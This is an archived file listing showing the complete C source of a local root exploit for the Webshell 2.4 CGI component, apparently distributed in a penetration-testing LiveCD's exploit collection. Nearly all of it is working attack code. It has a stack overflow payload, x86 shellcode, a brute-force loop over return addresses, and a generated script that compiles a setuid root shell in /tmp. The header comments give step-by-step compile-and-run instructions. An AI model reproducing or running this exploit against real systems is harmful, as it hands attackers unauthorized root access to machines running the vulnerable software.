home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webapp / webshell / webshell-local.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  7KB  |  233 lines
  1. /*
  2.  * Local r00t exploit for Webshell 2.4 (possibly other versions).
  3.  * Vulnerability found and exploit written by Carl Livitt
  4.  * (carl (@) learningshophull.co.uk).
  5.  *
  6.  
  7. Exploits a simple stack-based buffer overflow in CGI.C of the
  8. HSphere webshell component which is installed SUID & GUID root
  9. by default.
  10.  
  11. Uses a bruteforce method to guess the return address on the stack
  12. and the amount of data to overflow the buffer with; this ensures
  13. it works under many different environments. I originally hardcoded
  14. these values, but found that this was unreliable.
  15.  
  16. Copy this file (webshell-local.c) to /tmp and then:
  17.  
  18. cd /tmp
  19. gcc -o webshell-local webshell-local.c
  20. cd /path/to/the/webshell/directory
  21. /tmp/webshell-local
  22.  
  23. That should get you r00t without any messing about.
  24.  
  25. */
  26.  
  27.  
  28. #include <sys/types.h>
  29. #include <sys/stat.h>
  30. #include <stdio.h>
  31. #include <string.h>
  32. #include <unistd.h>
  33. #include <signal.h>
  34.  
  35. #define EGG_SIZE_START 257
  36. #define EGG_SIZE_END 291
  37. #define RET_ADDR_START 0xbfffe910
  38. #define RET_ADDR_END 0xbfffffff
  39. #define RET_ADDR_INCREMENT 256
  40. #define CONTENT_LENGTH 42
  41. #define SHELLSCRIPT_FILE "/tmp/zz"
  42. #define EXPLOIT_FILE "/tmp/.webshell.txt"
  43. #define ROOT_SHELL "/tmp/rs"
  44. #define WEBSHELL_PROGRAM "./webshell"
  45.  
  46. void create_shellscript_file();
  47. void make_shellcode();
  48. void make_exploit_buffer();
  49. void setup_environment();
  50. void make_exploit_file();
  51.  
  52. char shellcode[] =
  53.         "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" // setuid(0)
  54.         "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  55.         "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  56.         "\x80\xe8\xdc\xff\xff\xff/tmp/zz"; // aleph1 execve() of /bin/sh
  57.  
  58. char sc[1024];
  59. char egg[1024];
  60.  
  61. char shell_script[]=
  62.         "#!/bin/sh\n"
  63.         "cd /tmp\n"
  64.         "cat << ROOTSHELL > "ROOT_SHELL".c\n"
  65.         "main() { setuid(0);setgid(0);system(\"/bin/bash\");}\n"
  66.         "ROOTSHELL\n"
  67.         "gcc -o "ROOT_SHELL" "ROOT_SHELL".c\n"
  68.         "chown root:root "ROOT_SHELL"*\n"
  69.         "chmod 6777 "ROOT_SHELL"\n"
  70.         "chmod 0666 "ROOT_SHELL".c\n";
  71.  
  72. char greeting[]="Webshell 2.4 bruteforce exploit for Linux x86 - by Carl Livitt\n";
  73.  
  74. int EGG_SIZE=EGG_SIZE_START;
  75. unsigned long RET_ADDR=(unsigned long)RET_ADDR_START;
  76. char *env[4];
  77.  
  78. /*
  79.  * The fun begins here...
  80.  */
  81.  
  82. main(int argc, char **argv) {
  83.         int brute_force_mode=1, status, pid;
  84.         struct stat s;
  85.  
  86.         /*
  87.          * Check to see if the exploit has been run before...
  88.          */
  89.         if(stat((char *)ROOT_SHELL,&s)==0) {
  90.                 printf("Root shell already exists... executing...\n");
  91.                 system(ROOT_SHELL);
  92.                 exit(0);
  93.         }
  94.  
  95.         /*
  96.          * Make sure that the webshell binary can be found
  97.          * and is SUID root
  98.          */
  99.         if(stat(WEBSHELL_PROGRAM, &s)!=0) {
  100.                 printf(WEBSHELL_PROGRAM" not found!\n");
  101.                 exit(1);
  102.         } else if(!(s.st_mode&S_ISUID)) {
  103.                 printf(WEBSHELL_PROGRAM" is not SUID root!\n");
  104.                 exit(1);
  105.         }
  106.  
  107.         /*
  108.          * Start the bruteforce loop...
  109.          */
  110.         printf("%s\nBruteforcing EGG_SIZE and RET_ADDR..", greeting);
  111.         do {
  112.                 // setup exploit buffers
  113.                 make_shellcode();
  114.                 make_exploit_buffer();
  115.                 setup_environment();
  116.                 make_exploit_file();
  117.                 create_shellscript_file();
  118.                 printf(".");fflush(stdout);
  119.  
  120.                 // fork and execute the webshell binary, passing it the
  121.                 // exploit input.
  122.                 if((pid=fork())==0) {
  123.                         system(WEBSHELL_PROGRAM" < "EXPLOIT_FILE" &>/dev/null");
  124.                         exit(0);
  125.                 } else {
  126.                         waitpid(pid, &status, 0);
  127.                 }
  128.  
  129.                 // If ROOT_SHELL exists, then the exploit was successful.
  130.                 // So execute it!
  131.                 if(stat((char *)ROOT_SHELL,&s)==0) {
  132.                         printf("\nEntering r00t shell...\n\n");
  133.                         system(ROOT_SHELL);
  134.                         exit(0);
  135.                 }
  136.  
  137.                 // The ROOT_SHELL did not exist, so adjust the bruteforce
  138.                 // parameters and continue...
  139.                 EGG_SIZE++;
  140.                 if(EGG_SIZE>EGG_SIZE_END) {
  141.                         RET_ADDR+=RET_ADDR_INCREMENT;
  142.                         if(RET_ADDR>RET_ADDR_END) {
  143.                                 printf("Leaving bruteforce mode...\n");
  144.                                 brute_force_mode=0;
  145.                         } else {
  146.                                 EGG_SIZE=EGG_SIZE_START;
  147.                         }
  148.                 }
  149.         } while(brute_force_mode);
  150.         printf("Bruteforce exhausted - EXPLOIT FAILED.\n");
  151. }
  152.  
  153. /*
  154.  * Creates the file to be used as stdin for webshell.
  155.  */
  156. void make_exploit_file() {
  157.         FILE *fp;
  158.  
  159.         if((fp=fopen(EXPLOIT_FILE,"w"))==NULL) {
  160.                 printf("Could not create exploit file %s\n", EXPLOIT_FILE);
  161.                 exit(1);
  162.         }
  163.         fprintf(fp, "--%s\n", egg+CONTENT_LENGTH);
  164.         fprintf(fp, "Content-Disposition: form-data; name=\"TESTNAME\"; filename=\"TESTFILENAME\"\r\n\r\n");
  165.         fclose(fp);
  166. }
  167.  
  168. /*
  169.  * Create the malicious environment in which webshell will run
  170.  */
  171. void setup_environment() {
  172.         int i;
  173.  
  174.         unsetenv("S");
  175.         unsetenv("CONTENT_LENGTH");
  176.         unsetenv("REQUEST_METHOD");
  177.         unsetenv("CONTENT_TYPE");
  178.         env[0]=strdup(egg);
  179.         env[1]=strdup(sc);
  180.         env[2]=strdup("CONTENT_LENGTH=261");
  181.         env[3]=strdup("REQUEST_METHOD=POST");
  182.         env[4]=NULL;
  183.         for(i=0;i<4;i++)
  184.                 putenv(env[i]);
  185. }
  186.  
  187. /*
  188.  * It is the 'boundary' section of a multipart/form-data MIME type
  189.  * that overflows the buffer in webshell. This function creates the
  190.  * malicious boundary.
  191.  */
  192. void make_exploit_buffer() {
  193.         int i;
  194.  
  195.         memset(egg, 0, EGG_SIZE-1);
  196.         memcpy(egg, "CONTENT_TYPE=multipart/form-data boundary=", CONTENT_LENGTH);
  197.         for(i=0;i<EGG_SIZE; i+=4) {
  198.                 egg[i+CONTENT_LENGTH]=RET_ADDR&0xff;
  199.                 egg[i+CONTENT_LENGTH+1]=(RET_ADDR>>8)&0xff;
  200.                 egg[i+CONTENT_LENGTH+2]=(RET_ADDR>>16)&0xff;
  201.                 egg[i+CONTENT_LENGTH+3]=(RET_ADDR>>24)&0xff;
  202.         }
  203.         egg[EGG_SIZE+CONTENT_LENGTH-1]='\0';
  204. }
  205.  
  206. /*
  207.  * Makes a 1024-byte buffer filled with NOPs and shellcode
  208.  */
  209. void make_shellcode() {
  210.         memset(sc, 0x90,1024);
  211.         sc[0]='S';
  212.         sc[1]='=';
  213.         memcpy(sc + 1024 - (strlen(shellcode)+1), shellcode, strlen(shellcode));
  214.         sc[1023]='\0';
  215. }
  216.  
  217. /*
  218.  * Generate the shellscript that will be executed by the shellcode.
  219.  * By default, it will create a SUID root shell in /tmp
  220.  */
  221. void create_shellscript_file() {
  222.         FILE *fp;
  223.  
  224.         if((fp=fopen(SHELLSCRIPT_FILE,"w"))==NULL) {
  225.                 printf("Could not create %s\n", SHELLSCRIPT_FILE);
  226.                 exit(1);
  227.         }
  228.         fprintf(fp, "%s", shell_script);
  229.         fclose(fp);
  230.         chmod(SHELLSCRIPT_FILE, S_IXOTH | S_IROTH | S_IWOTH | S_IXUSR | S_IRUSR | S_IWUSR);
  231. }
  232.  
  233.